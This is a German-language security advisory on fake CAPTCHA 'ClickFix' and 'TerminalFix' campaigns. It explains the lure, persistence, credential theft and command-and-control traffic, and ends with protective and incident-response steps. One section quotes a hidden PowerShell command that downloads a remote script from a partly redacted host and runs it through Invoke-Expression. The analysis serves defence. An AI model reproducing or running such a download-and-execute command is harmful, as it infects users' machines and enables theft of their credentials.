Fake CAPTCHA als Malware-Risiko: BSI rät zu besonderer Vorsicht

1. Der Köder: eine vertraute Sicherheitsabfrage

Am Anfang steht eine von Angreifern kontrollierte oder zuvor kompromittierte Webseite. Sie zeigt eine CAPTCHA-Oberfläche, die bekannten Diensten nachempfunden ist und dadurch vertrauenswürdig wirken soll. In der von Conscia untersuchten Kampagne bereitete eingebettetes JavaScript die nächste Stufe vor.

2. Der PowerShell-Befehl startet die eigentliche Angriffskette

In der ursprünglichen CAPTCHAclipper-Analyse wurde PowerShell als Downloader und Ausführungsumgebung missbraucht. Der von der Webseite vorbereitete Befehl enthielt eine externe Adresse, erzeugte ein System.Net.WebClient-Objekt, rief über DownloadString() weiteren Inhalt ab und übergab diesen anschließend an Invoke-Expression. Damit ließ sich nachgeladener PowerShell-Code unmittelbar verarbeiten. Der Parameter -WindowStyle Hidden sollte das PowerShell-Fenster dabei möglichst unauffällig halten:

powershell -WindowStyle Hidden -Command “$rQd=‘https://xxxxxxxxxxxxx[.]net/prizev2[.]txt’; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;”

Für die Einordnung sind vor allem die einzelnen Funktionen relevant: Eine Variable enthält die URL der nächsten Angriffsstufe, WebClient stellt die Netzwerkverbindung her, DownloadString() lädt den entfernten Inhalt als Text und Invoke-Expression interpretiert diesen Inhalt anschließend als PowerShell-Code. Der Browser selbst führt diese Schritte nicht aus – erst die vom Opfer gestartete PowerShell-Instanz verschiebt den Angriff auf Betriebssystemebene.

3. Dateien werden nachgeladen und dauerhaft verankert

Bei der von Conscia analysierten CAPTCHAclipper-Kette blieb es nicht bei der speicherbasierten Skriptstufe. Im weiteren Verlauf wurde unter anderem ein ZIP-Archiv namens prize.zip heruntergeladen. Der Schadcode entpackte daraus eine Datei namens setup.exe in einen Ordner innerhalb des Benutzerprofils beziehungsweise unter APPDATA und startete sie anschließend.

Die Angriffskette deshalb pauschal als „fileless“ zu bezeichnen wäre ungenau. Einzelne Stufen können im Arbeitsspeicher verarbeitet werden, später landen jedoch sehr wohl Dateien auf dem Datenträger. Speicherbasierte Ausführung ist damit ein Bestandteil der Kette, nicht ihre vollständige Beschreibung.

• APPDATA dient als Ablageort für nachgeladene Komponenten. Die bloße Speicherung in diesem Verzeichnis erzeugt noch keine Persistenz.
• Für die dauerhafte Ausführung nutzte die untersuchte Malware unter anderem den Windows-Taskplaner. Ein geplanter Task kann Schadkomponenten nach einer Anmeldung, zu bestimmten Zeitpunkten oder nach anderen Triggern erneut starten.
• Conscia beobachtete außerdem eine Datei namens 69HT8K.pif. Ihre genaue Funktion ließ sich in der veröffentlichten Analyse nicht abschließend bestimmen; sie wurde als mögliches Täuschungs- oder Folgeartefakt eingeordnet.

4. Datendiebstahl und Kommunikation mit den Angreifern

Nach erfolgreicher Ausführung beginnt die eigentliche Schadfunktion. In der Conscia-Analyse wurden unter anderem browsergespeicherte Anmeldedaten ausgelesen, installierte Sicherheitssoftware überprüft und Verbindungen zu externer Command-and-Control-Infrastruktur aufgebaut. Eine solche C2-Verbindung ermöglicht es, Daten zu übertragen, weitere Komponenten nachzuladen oder zusätzliche Befehle an das kompromittierte System zu senden.

• Browserprofile können gespeicherte Zugangsdaten, Sitzungsinformationen und weitere für Konten relevante Informationen enthalten.
• Informationen über installierte Sicherheitsprodukte helfen Angreifern, die Umgebung einzuschätzen und Folgeaktivitäten anzupassen.
• Über C2-Infrastruktur können weitere Schadmodule oder Werkzeuge nachgeladen werden.
• In Unternehmensnetzen kann ein kompromittierter Arbeitsplatz außerdem als Ausgangspunkt für weitere Erkundung und seitliche Bewegung dienen.

5. TerminalFix erweitert die ClickFix-Masche

Microsoft Threat Intelligence beschrieb am 28. August 2026 eine weiterentwickelte ClickFix-Variante namens TerminalFix. Statt ausschließlich zum Windows-Ausführen-Dialog zu führen, fordert die manipulierte Webseite das Opfer auf, Windows Terminal oder PowerShell zu öffnen und dort den vorbereiteten Inhalt einzufügen.

Der psychologische Kern bleibt damit gleich, die technische Folge kann jedoch deutlich komplexer ausfallen. Microsoft dokumentierte bei der untersuchten Kampagne eine mehrstufige Infektionskette mit DLL-Sideloading, in anderen Dateien versteckten Nutzlasten, Active-Directory-Erkundung und einem Reverse Tunnel. Ein solcher Tunnel kann aus einem bereits kompromittierten Rechner heraus eine Verbindung zur Angreifer-Infrastruktur herstellen und dadurch Zugriffsmöglichkeiten in das interne Netz eröffnen.

Damit ist ClickFix nicht auf klassische Infostealer beschränkt. In einem Unternehmensnetz kann der erste ausgeführte Befehl lediglich den Einstieg bilden, auf den weitere Erkundungs-, Persistenz- und Fernzugriffsaktivitäten folgen.

Verdächtige Prüfseiten früh stoppen

• Führen Sie keine Tastenkombinationen und Systembefehle aus, nur weil eine Webseite sie als „Verifizierung“ verlangt.
• Schließen Sie den Tab, wenn nach einer CAPTCHA-Abfrage plötzlich PowerShell, Windows Terminal, Win + R oder das Einfügen eines Befehls verlangt wird.
• Halten Sie Browser, Windows und Ihren Virenschutz aktuell. Updates verhindern Social Engineering nicht, reduzieren aber zusätzliche technische Angriffsflächen.
• Wurde lediglich etwas in die Zwischenablage kopiert, Sie haben den Inhalt aber nicht ausgeführt, ist damit noch nicht automatisch die beschriebene Malware-Kette gestartet.

Technische Schutzmaßnahmen für Unternehmen

• Nutzen Sie Endpoint Detection and Response sowie Web- und Netzwerk-Schutz, die verdächtige Skriptstarts, Downloads, Prozessketten und ungewöhnliche ausgehende Verbindungen korrelieren können.
• Aktivieren und zentralisieren Sie geeignete PowerShell-Protokollierung. Für besonders schützenswerte Systeme sollten Sie zusätzlich Application Control und restriktive Administrationskonzepte prüfen.
• Verlassen Sie sich nicht allein auf Set-ExecutionPolicy Restricted. Microsoft beschreibt die PowerShell-Ausführungsrichtlinie ausdrücklich nicht als Sicherheitsgrenze gegen absichtlich eingegebene Befehle.
• Begrenzen Sie Benutzerrechte und segmentieren Sie Netze so, dass ein kompromittierter Arbeitsplatz nicht automatisch weitreichenden Zugriff auf Server, Identitäten und Verwaltungsnetze erhält.
• Schulen Sie Beschäftigte gezielt auf ClickFix-Signale. Allgemeine Phishing-Schulungen reichen nicht aus, wenn niemand weiß, dass ein vermeintliches CAPTCHA zum Start eines Systembefehls auffordern kann.

Wenn Sie den Befehl bereits ausgeführt haben

Haben Sie einen solchen Befehl tatsächlich gestartet, sollten Sie nicht darauf vertrauen, dass das Schließen des Browserfensters genügt. Bei einer mehrstufigen ClickFix-Kette kann zu diesem Zeitpunkt bereits weitere Schadsoftware aktiv sein.

1. Trennen Sie das Gerät vom Netzwerk, um weitere Kommunikation mit Angreifer-Infrastruktur und mögliche Folgeaktivitäten zu erschweren.
2. Informieren Sie bei einem Firmenrechner sofort Ihre IT- oder Security-Stelle. Setzen Sie das System nicht eigenmächtig neu auf, wenn forensische Spuren für die Vorfallanalyse benötigt werden.
3. Ändern Sie gefährdete Passwörter von einem sauberen Gerät aus und priorisieren Sie E-Mail-, Cloud-, Banking- und Administrationskonten.
4. Beenden Sie verdächtige aktive Sitzungen und erneuern Sie Zugangsdaten, wenn Browser-Cookies, Tokens oder Anmeldedaten betroffen sein könnten. Aktivieren Sie Mehrfaktor-Authentifizierung, wo sie noch fehlt.
5. Lassen Sie ein bestätigt kompromittiertes System fachgerecht untersuchen und bei Bedarf neu aufsetzen. Bei Infostealern oder dauerhaftem Fernzugriff ist eine oberflächliche Malware-Löschung keine verlässliche Vertrauensbasis.